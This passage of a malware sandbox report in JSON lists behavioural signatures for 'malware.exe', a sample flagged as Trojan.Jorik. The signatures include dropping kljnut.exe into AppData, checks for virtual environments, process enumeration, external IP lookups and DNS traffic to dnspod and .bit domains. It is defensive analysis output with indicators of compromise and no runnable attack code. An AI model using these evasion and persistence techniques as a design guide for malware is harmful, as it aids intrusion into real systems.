Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$2b","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"malware.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"kljnut.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"malware.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"malware.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"malware.exe\" queries basic process information of the \"C:\\malware.exe\" (UID: 5544)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"malware.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-735145574-3570218355-1207367261-1001\\d153dbf7408b1530cf8d0f0aa640ce7c_a3d27cfa-1e7a-4ff8-8004-2be13417b6b1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to detect virtual environment\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Found a reference to an external IP address lookup service\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"malware.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"malware.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"malware.exe\" trying to touch file \"C:\\malware.exe\"\n \"malware.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"malware.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"malware.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"malware.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"malware.exe\" trying to touch file \"C:\\MSIMG32.DLL\"\n \"malware.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\msimg32.dll\"\n \"malware.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\win32u.dll\"\n \"malware.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ucrtbase.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$2e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"malware.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\kljnut.exe\"\n \"malware.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-735145574-3570218355-1207367261-1001\\d153dbf7408b1530cf8d0f0aa640ce7c_a3d27cfa-1e7a-4ff8-8004-2be13417b6b1\"\n \"malware.exe\" writes file \"%appdata%\\microsoft\\kljnut.exe\"\n \"malware.exe\" writes file \"%appdata%\\microsoft\\crypto\\rsa\\s-1-5-21-735145574-3570218355-1207367261-1001\\d153dbf7408b1530cf8d0f0aa640ce7c_a3d27cfa-1e7a-4ff8-8004-2be13417b6b1\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"malware.exe\" called \"HttpOpenRequestW\" with parameter HTTP method:\"GET\" object: 2f00\" - (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"malware.exe\" called \"InternetOpenA with parameter Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\" (UID: 00000000-00005544)\n \"malware.exe\" called \"InternetOpenW with parameter Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\" (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"malware.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"malware.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"malware.exe\" called \"GetComputerNameW\" (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"malware.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"malware.exe\" called \"GetUserNameW\" (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to create/read/set mailslotinfo (API string)","description":"Found reference to API \"GetMailslotInfo\" (Indicator: \"GetMailslotInfo\"; File: \"malware.exe\")\n Found reference to API \"GetMailslotInfo\" (Indicator: \"GetMailslotInfo\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-110","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"malware.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"malware.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"malware.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve event logs (API string)","description":"Found reference to API \"OpenEventLogW\" (Indicator: \"OpenEventLog\"; File: \"malware.exe\")\n Found reference to API \"OpenEventLogW\" (Indicator: \"OpenEventLog\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.001","relevance":1,"id":"string-237","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; File: \"malware.exe\")\n Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"malware.exe\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"malware.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"malware.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"malware.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"malware.exe\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"malware.exe\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: malware.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: kljnut.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports Mailslot related APIs","description":"Observed import api \"GetMailslotInfo\" which can \"Retrieves information about the specified mailslot\" [Source: malware.exe]\n Observed import api \"GetMailslotInfo\" which can \"Retrieves information about the specified mailslot\" [Source: kljnut.exe]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-83","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"malware.exe\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"malware.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"malware.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"malware.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"malware.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$31","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"InitiateSystemShutdownA\" (Indicator: \"InitiateSystemShutdown\"; File: \"malware.exe\")\n Found reference to API \"InitiateSystemShutdownA\" (Indicator: \"InitiateSystemShutdown\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1529","relevance":3,"id":"string-189","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"kljnut.exe\" - Location: [%APPDATA%\\Microsoft\\kljnut.exe]- [targetUID: 00000000-00005544]\n Dropped file: \"d153dbf7408b1530cf8d0f0aa640ce7c_a3d27cfa-1e7a-4ff8-8004-2be13417b6b1\" - Location: [%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-735145574-3570218355-1207367261-1001\\d153dbf7408b1530cf8d0f0aa640ce7c_a3d27cfa-1e7a-4ff8-8004-2be13417b6b1]- [targetUID: 00000000-00005544]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"malware.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"malware.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"section contains high entropy","description":"\"malware.exe\" has section name .text with entropy \"6.62741931722\"\n \"malware.exe\" has section name .rsrc with entropy \"7.78713464013\"\n \"kljnut.exe\" has section name .text with entropy \"6.62741931722\"\n \"kljnut.exe\" has section name .rsrc with entropy \"7.78713464013\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"malware.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0\"; Key: \"PROCESSORNAMESTRING\")\n \"malware.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0\"; Key: \"IDENTIFIER\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 7161-1-00403236","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO DNS Query Domain .bit\" (SID: 2017645, Rev: 5, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO External IP Lookup Domain in DNS Lookup (whatismyipaddress .com)\" (SID: 2054170, Rev: 1, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"malware.exe\" has resource with unusual entropy \"DYDUXTKV:7.99514655137\"\n \"kljnut.exe\" has resource with unusual entropy \"DYDUXTKV:7.99514655137\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"malware.exe\" wrote 61952 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\kljnut.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21313031390070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Network Related","name":"Application communicates to suspicious domain","description":"Contacted Domain: \"dnspod.com\" has been identified as suspicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-89","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Network Related","name":"Calls an API typically used to create a HTTP or FTP session","description":"\"malware.exe\" called \"InternetConnectW\" to server \"ipv4bot.whatismyipaddress.com\" on port 80 (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-215","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Network Related","name":"Spawned process connects to a network","description":"Process \"%WINDIR%\\SysWOW64\\nslookup.exe\" connects to 117.135.128.175 on port 53 (UDP); Domain: \"a.dnspod.com\"","origin":"Monitored Target","mitre_attack_id":"T1071","relevance":5,"id":"target-412","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"malware.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to decrypt the data","description":"\"malware.exe\" called \"CryptUnprotectData\" with parameters {\"pDataIn\": \"500600009006b602\"\n \"pDataOut\": \"44050000a81bb602\"\n \"$dataout\": \"RSA2\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":5,"id":"api-172","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"\"malware.exe\" called \"Process32FirstW with parameter [System Process]\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter System\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter smss.exe\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter csrss.exe\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter wininit.exe\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter winlogon.exe\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter services.exe\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter lsass.exe\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter svchost.exe\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter fontdrvhost.exe\" (UID: 00000000-00005544)\n \"malware.exe\" called \"Process32NextW with parameter dwm.exe\" (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to performs encryption on the data","description":"\"malware.exe\" called \"CryptProtectData\" with parameters {\"pDataIn\": \"4405000068f05a00\"\n \"szDataDescr\": \"2b5e77e\"\n \"pDataOut\": \"500600002800b602\"\n \"$datain\": \"RSA2\"\n \"$datadescr\": \"CryptoAPI Private Key\"}\n \"malware.exe\" called \"CryptProtectData\" with parameters {\"pDataIn\": \"0400000004f05a00\"\n \"szDataDescr\": \"737439cc\"\n \"pDataOut\": \"fc00000098eab502\"\n \"$datain\": \"01000000\"\n \"$datadescr\": \"Export Flag\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":5,"id":"api-171","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the command-line string for the current process","description":"GetCommandLineA@KERNEL32.dll at 7161-1-00403236","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-118","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Read windows product name from registry","description":"\"malware.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"PRODUCTNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-105","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"26/34 Antivirus vendors marked dropped file \"kljnut.exe\" as malicious (classified as \"Trojan.Jorik\" with 76% detection rate)\n 26/34 Antivirus vendors marked dropped file \"kljnut.exe.bin\" as malicious (classified as \"Trojan.Jorik\" with 76% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"ipv4bot.whatismyipaddress.com\" (Indicator: \"myipaddress.com\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$33","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API RtlComputeCrc32@NTDLL.DLL at 00016109-00004640-64782-28-00406186","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"\" checked file \"C:\"","origin":"API 